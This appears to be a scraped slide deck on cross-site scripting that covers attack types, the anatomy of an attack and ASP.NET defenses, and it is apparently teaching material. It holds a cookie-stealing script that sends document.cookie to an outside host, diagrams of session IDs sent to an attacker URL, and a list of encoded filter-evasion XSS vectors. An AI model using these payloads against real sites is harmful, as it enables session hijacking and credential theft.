ShapeBlue196 views
CloudStack Object Storage - An Introduction - Vladimir Petrov - ShapeBlue by ShapeBlue
CloudStack Object Storage - An Introduction - Vladimir Petrov - ShapeBlueCloudStack Object Storage - An Introduction - Vladimir Petrov - ShapeBlue
CloudStack Object Storage - An Introduction - Vladimir Petrov - ShapeBlue
ShapeBlue139 views

XSS - Attacks & Defense

  • 1. XSS – Attacks & Defense
  • 2. Cross Site Scripting • A user’s credentials may be recovered by another user. • Inject client-side code as part of data content stored on the server side. – e.g. Javascript • When a user views the stored content, the client-side code executes on browser. • Transmit the current credentials to the attacker.
  • 3. XSS types • XSS is of three types – Persistent – Non Persistent – DOM based
  • 4. Non-persistent XSS • Application echo backs response • It can be over GET or POST • Very common with application developers • Features like search is common place for it • Error handling routines are vulnerable to it as well • Attacker can inject stream in it • Various tags can be injected
  • 5. Non-persistent XSS • Attack vectors are common • Exploitation is possible • Session hijacking with cookie retrieval is most popular ways • Links coming in the mail or social sites can lead to XSS • It is also known as type 1 OR reflected XSS
  • 6. Anatomy of an XSS attack Web Server DB DB Web app attacker Web app Web app Web app Web Client SESSION KEYS 78974369523 12323747677 NAME VALUE username saumil NAME VALUE username arthur inject <IFRAME> javascript 8008
  • 7. Anatomy of an XSS attack Web Server DB DB Web app attacker Web app Web app Web app Web Client SESSION KEYS 78974369523 12323747677 84658734652 NAME VALUE username saumil NAME VALUE username arthur NAME VALUE username nitesh SESSID=84658734652 8008
  • 8. Anatomy of an XSS attack Web Server DB DB Web app attacker Web app Web app Web app Web Client SESSION KEYS 78974369523 12323747677 84658734652 NAME VALUE username saumil NAME VALUE username arthur NAME VALUE username nitesh SESSID=84658734652 8008 <iframe src= http://attacker/SESSID=84658734652>
  • 9. Anatomy of an XSS attack Web Server DB DB Web app attacker Web app Web app Web app Web Client SESSION KEYS 78974369523 12323747677 84658734652 NAME VALUE username saumil NAME VALUE username arthur NAME VALUE username nitesh SESSID=84658734652 8008 <iframe src= http://attacker/SESSID=84658734652> GET /SESSID=84658734652 HTTP/1.0 (happens automatically)
  • 10. Anatomy of an XSS attack Web Server DB DB Web app attacker Web app Web app Web app Web Client SESSION KEYS 78974369523 12323747677 84658734652 NAME VALUE username saumil NAME VALUE username arthur NAME VALUE username nitesh SESSID=84658734652 8008 <iframe src= http://attacker/SESSID=84658734652> SESSID=84658734652
  • 11. What to inject - IFRAME example • Inject a 1x1 floating frame: • When the frame is loaded, it will cause the browser to make an automatic request. • Requesting URL http://192.168.7.41:8008/<cookie_value> <script>document.write(“<iframe src=”http://192.168.7.41:8008/”+document.cookie+”” width=1 height=1 frameborder=0></iframe>”);</script>
  • 12. Persistent XSS • In this XSS vector, attacker gets write access on the application • If application page can be loaded with malicious code • This code accessed by victim • Code gets executed on the client machine • XSS – credential stealing • Examples – bulletin board, blogs etc.
  • 13. Anatomy of an XSS attack Web Server DB DB Web app attacker Web app Web app Web app Web Client SESSION KEYS 78974369523 12323747677 NAME VALUE username saumil NAME VALUE username arthur inject <IFRAME> javascript 8008
  • 14. Anatomy of an XSS attack Web Server DB DB Web app attacker Web app Web app Web app Web Client SESSION KEYS 78974369523 12323747677 84658734652 NAME VALUE username saumil NAME VALUE username arthur NAME VALUE username nitesh SESSID=84658734652 8008
  • 15. Anatomy of an XSS attack Web Server DB DB Web app attacker Web app Web app Web app Web Client SESSION KEYS 78974369523 12323747677 84658734652 NAME VALUE username saumil NAME VALUE username arthur NAME VALUE username nitesh SESSID=84658734652 8008 <iframe src= http://attacker/SESSID=84658734652>
  • 16. Anatomy of an XSS attack Web Server DB DB Web app attacker Web app Web app Web app Web Client SESSION KEYS 78974369523 12323747677 84658734652 NAME VALUE username saumil NAME VALUE username arthur NAME VALUE username nitesh SESSID=84658734652 8008 <iframe src= http://attacker/SESSID=84658734652> GET /SESSID=84658734652 HTTP/1.0 (happens automatically)
  • 17. Anatomy of an XSS attack Web Server DB DB Web app attacker Web app Web app Web app Web Client SESSION KEYS 78974369523 12323747677 84658734652 NAME VALUE username saumil NAME VALUE username arthur NAME VALUE username nitesh SESSID=84658734652 8008 <iframe src= http://attacker/SESSID=84658734652> SESSID=84658734652
  • 18. XSS injection vectors • Applications are filtering certain traffic • Popular tags are filtered out as well • Character filtering is in place • There are various ways to inject vectors.
  • 20. XSS vector • <SCRIPT SRC=http://url/xss.js></SCRIPT> • <IMG SRC="javascript:alert('XSS');"> • <IMG SRC=javascript:alert('XSS')> • <IMG SRC=JaVaScRiPt:alert('XSS')> • <IMG SRC=javascript:alert(&quot;XSS&quot;)> • <IMG SRC=`javascript:alert("XSS")`> • Image tag malformed - <IMG """><SCRIPT>alert("XSS")</SCRIPT>">
  • 21. XSS vector • <IMG SRC=javascript:alert(String.fromCharCode(88, 83,83))> • Unicode encoding - <IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99; &#114;&#105;&#112;&#116;&#58;&#97;&#1 08;&#101;&#114;&#116;&#40;&#39;&#88;&# 83;&#83;&#39;&#41;>
  • 22. XSS vector • UTF-8 - <IMG SRC=&#0000106&#0000097&#0000118&#000 0097&#0000115&#0000099&#0000114&#000 0105&#0000112&#0000116&#0000058&#000 0097&#0000108&#0000101&#0000114&#000 0116&#0000040&#0000039&#0000088&#000 0083&#0000083&#0000039&#0000041>
  • 23. XSS vector • Hex - <IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63& #x72&#x69&#x70&#x74&#x3A&#x61&#x6C& #x65&#x72&#x74&#x28&#x27&#x58&#x53&# x53&#x27&#x29> • XSS breakup - <IMG SRC="jav ascript:alert('XSS');"> • <IMG SRC="jav&#x09;ascript:alert('XSS');">
  • 24. XSS vector • <IMG SRC="jav&#x0A;ascript:alert('XSS');"> (line feed) • <IMG SRC="jav&#x0D;ascript:alert('XSS');"> (carriage return) • Multi-line injection
  • 25. XSS vector • <INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');"> • <BODY BACKGROUND="javascript:alert('XSS')"> • <BODY ONLOAD=alert('XSS')> • BR, Layer etc. • <LINK REL="stylesheet" HREF="javascript:alert('XSS');"> • HTTP-Equiv
  • 26. XSS vector • Iframe, Frameset & Table(background) • Base tag • Object tag XSS • Embed – with flash • XML namespace injection • XML ID, SRC etc.
  • 27. DOM based XSS • Ajax based XSS is relatively new way of attacking the client • Code written on browser end can be vulnerable to this attacks • Various different structures can have their own confusion • Information processing from un-trusted sources can lead to XSS
  • 28. DOM based XSS • Stream can be injected into the Ajax routine • If function is vulnerable to XSS then it executes the script • Script can be coming in various forms • Web 2.0 applications are consuming various scripts and that makes it vulnerable to this set of attacks
  • 29. DOM based XSS <HTML> <TITLE>Welcome!</TITLE> Hi <SCRIPT> var pos=document.URL.indexOf(“user=")+5; document.write(document.URL.substring(pos,document.URL. length)); </SCRIPT> <BR> Welcome to our system … </HTML>
  • 30. DOM based XSS http://www.target.com/profile.html?user=Jack Exploit - http://www.target.com/profile.html?user= <script>alert(document.cookie)</script>
  • 31. Anatomy of an XSS attack Web Server DB DB Web app attacker Web app Web app proxy Web Client 8008 Third party source Stream eval() XSS
  • 32. DOM based XSS if (http.readyState == 4) { var response = http.responseText; var p = eval("(" + response + ")"); document.open(); document.write(p.firstName+"<br>"); document.write(p.lastName+"<br>"); document.write(p.phoneNumbers[0]); document.close();
  • 33. Anatomy of an XSS attack Web Server DB DB Web app attacker Web app Web app proxy Web Client 8008 XML Stream eval() XSS
  • 34. Anatomy of an XSS attack Web Server DB DB Web app attacker Web app Web app proxy Web Client 8008 JSON Stream eval() XSS
  • 35. Anatomy of an XSS attack Web Server DB DB Web app attacker Web app Web app proxy Web Client 8008 JS-Object / JS-Array / JS-Script Stream eval() XSS
  • 36. DOM based XSS document.write(…) document.writeln(…) document.body.innerHtml=… document.forms[0].action=… document.attachEvent(…) document.create…(…) document.execCommand(…) document.body. … window.attachEvent(…) document.location=… document.location.hostname=… document.location.replace(…) document.location.assign(…) document.URL=… window.navigate(…)
  • 37. DOM based XSS document.open(…) window.open(…) window.location.href=… (and assigning to location’s href, host and hostname) eval(…) window.execScript(…) window.setInterval(…) window.setTimeout(…)
  • 38. Exploit and testing framework • There are testing framework for XSS which can be used during the testing • CAL9000 – OWASP project • BeeF – Browser exploit framework • XSSproxy • Few other out there
  • 40. Prevent XSS • Design Strategy • Validate Input. • Encode output variable data. • Sanitizing Free Format Input. • Set the correct character encoding. • Use the ASP.NET validateRequest option. • Use the HttpOnly cookie option. • Use the <frame> security attribute. • Use the innerText property.
  • 41. Prevent XSS • Encode output using HtmlEncode / URLEncode methods. • Do this even for user input, a database, or a local file. The HtmlEncode method replaces characters that have special meaning in HTML to HTML variables that represent those characters. For example, < is replaced with &lt and " is replaced with &quot. Encoded data does not cause the browser to execute code. Instead, the data is rendered as harmless HTML. Response.Write(HttpUtility.HtmlEncode(Request.Form["name"]));
  • 42. Prevent XSS • Data-Bound Controls: DataGrid, DataList, RadioButtonList and CheckBoxList do not perform encoding, • Turn all columns into templates and manually use HtmlEncode()/UrlEncode() on each call to DataBinder.Eval • Override one of its DataBinding methods, such as OnDatabinding or OnItemDataBound and perform encoding on its items.
  • 43. Prevent XSS • Allow Safe HTML like comments, blog fields, • Process it with HtmlEncode • Remove encoding on selected safe HTML tags StringBuilder sb = new StringBuilder( HttpUtility.HtmlEncode(userInput) ) ; sb.Replace("&lt;b&gt;", "<b>"); sb.Replace("&lt;/b&gt;", "</b>"); sb.Replace("&lt;i&gt;", "<i>"); sb.Replace("&lt;/i&gt;", "</i>"); Response.Write(sb.ToString());
  • 44. Prevent XSS • Set the Correct Character Encoding, • Application / Page level <meta http-equiv="Content Type" content="text/html; charset=ISO-8859-1" /> OR <% @ Page ResponseEncoding="ISO-8859-1" %> To set the character encoding in Web.config, use the following configuration: <configuration> <system.web> <globalization requestEncoding="ISO-8859-1" responseEncoding="ISO-8859-1"/> </system.web> </configuration>
  • 45. Prevent XSS • Validating Unicode Characters, using System.Text.RegularExpressions; private void Page_Load(object sender, System.EventArgs e) { // Name must contain between 1 and 40 alphanumeric characters // together with (optionally) special characters '`' for names such // as D'Angelo if (!Regex.IsMatch(Request.Form["name"], @"^[p{L}p{Zs}p{Lu}p{Ll}']{1,40}$")) throw new ArgumentException("Invalid name parameter"); } •{<name>} specifies a named Unicode character class. •p{<name>} matches any character in the named character class specified by {<name>}. •{L} performs a left-to-right match. •{Lu} performs a match of uppercase. •{Ll} performs a match of lowercase. •{Zs} matches separator and space. •{1,40} means no less that 1 and no more than 40 characters. •{Mn} matches mark and non-spacing characters. •{Zs} matches separator and space. •* specifies zero or more matches. •$ means stop looking at this position.
  • 46. Prevent XSS • Use the ASP.NET validateRequest Option, • By default, it is TRUE • Instruct ASP.NET to check for malicious inputs like <script>, etc. <% @ Page validateRequest="True" %>;
  • 47. Prevent XSS • Use the HttpOnly Cookie Option. • prevents client-side script from accessing the cookie from the document.cookie property protected void Application_EndRequest(Object sender, EventArgs e) { string authCookie = FormsAuthentication.FormsCookieName; foreach (string sCookie in Response.Cookies) { if (sCookie.Equals(authCookie)) { // Force HttpOnly to be added to the cookie header Response.Cookies[sCookie].Path += ";HttpOnly"; } } }
  • 48. Prevent XSS • Use the <frame> Security Attribute, • Use the innerText property instead of innerHTML property. <frame security="restricted" src="http://www.somesite.com/somepage.htm"></frame>
  • 49. Prevent XSS • Use AntiXSS library, //bad code String Name = Request.QueryString["Name"]; //code with antixss library String Name = AntiXss.HtmlEncode(Request.QueryString["Name"]); namespace Microsoft.Application.Security { public class AntiXss { public static string HtmlEncode(string s); public static string HtmlAttributeEncode(string s); public static string JavaScriptEncode(string s); public static string UrlEncode(string s); public static string VisualBasicScriptEncode(string s); public static string XmlEncode(string s); public static string XmlAttributeEncode(string s); } }

Editor's Notes

  1. The famous web application set up diagram. Walk through each component, mention their roles. Web client - HTTP connections Firewall - lets in only HTTP requests, and allows only outbound HTTP responses Web server - handles all initial requests Applications - run either on the web server, or on app servers Database - SQL databases, and connection interfaces
  2. The famous web application set up diagram. Walk through each component, mention their roles. Web client - HTTP connections Firewall - lets in only HTTP requests, and allows only outbound HTTP responses Web server - handles all initial requests Applications - run either on the web server, or on app servers Database - SQL databases, and connection interfaces
  3. The famous web application set up diagram. Walk through each component, mention their roles. Web client - HTTP connections Firewall - lets in only HTTP requests, and allows only outbound HTTP responses Web server - handles all initial requests Applications - run either on the web server, or on app servers Database - SQL databases, and connection interfaces
  4. The famous web application set up diagram. Walk through each component, mention their roles. Web client - HTTP connections Firewall - lets in only HTTP requests, and allows only outbound HTTP responses Web server - handles all initial requests Applications - run either on the web server, or on app servers Database - SQL databases, and connection interfaces
  5. The famous web application set up diagram. Walk through each component, mention their roles. Web client - HTTP connections Firewall - lets in only HTTP requests, and allows only outbound HTTP responses Web server - handles all initial requests Applications - run either on the web server, or on app servers Database - SQL databases, and connection interfaces
  6. The famous web application set up diagram. Walk through each component, mention their roles. Web client - HTTP connections Firewall - lets in only HTTP requests, and allows only outbound HTTP responses Web server - handles all initial requests Applications - run either on the web server, or on app servers Database - SQL databases, and connection interfaces
  7. The famous web application set up diagram. Walk through each component, mention their roles. Web client - HTTP connections Firewall - lets in only HTTP requests, and allows only outbound HTTP responses Web server - handles all initial requests Applications - run either on the web server, or on app servers Database - SQL databases, and connection interfaces
  8. The famous web application set up diagram. Walk through each component, mention their roles. Web client - HTTP connections Firewall - lets in only HTTP requests, and allows only outbound HTTP responses Web server - handles all initial requests Applications - run either on the web server, or on app servers Database - SQL databases, and connection interfaces
  9. The famous web application set up diagram. Walk through each component, mention their roles. Web client - HTTP connections Firewall - lets in only HTTP requests, and allows only outbound HTTP responses Web server - handles all initial requests Applications - run either on the web server, or on app servers Database - SQL databases, and connection interfaces
  10. The famous web application set up diagram. Walk through each component, mention their roles. Web client - HTTP connections Firewall - lets in only HTTP requests, and allows only outbound HTTP responses Web server - handles all initial requests Applications - run either on the web server, or on app servers Database - SQL databases, and connection interfaces
  11. The famous web application set up diagram. Walk through each component, mention their roles. Web client - HTTP connections Firewall - lets in only HTTP requests, and allows only outbound HTTP responses Web server - handles all initial requests Applications - run either on the web server, or on app servers Database - SQL databases, and connection interfaces
  12. The famous web application set up diagram. Walk through each component, mention their roles. Web client - HTTP connections Firewall - lets in only HTTP requests, and allows only outbound HTTP responses Web server - handles all initial requests Applications - run either on the web server, or on app servers Database - SQL databases, and connection interfaces
  13. The famous web application set up diagram. Walk through each component, mention their roles. Web client - HTTP connections Firewall - lets in only HTTP requests, and allows only outbound HTTP responses Web server - handles all initial requests Applications - run either on the web server, or on app servers Database - SQL databases, and connection interfaces
  14. The famous web application set up diagram. Walk through each component, mention their roles. Web client - HTTP connections Firewall - lets in only HTTP requests, and allows only outbound HTTP responses Web server - handles all initial requests Applications - run either on the web server, or on app servers Database - SQL databases, and connection interfaces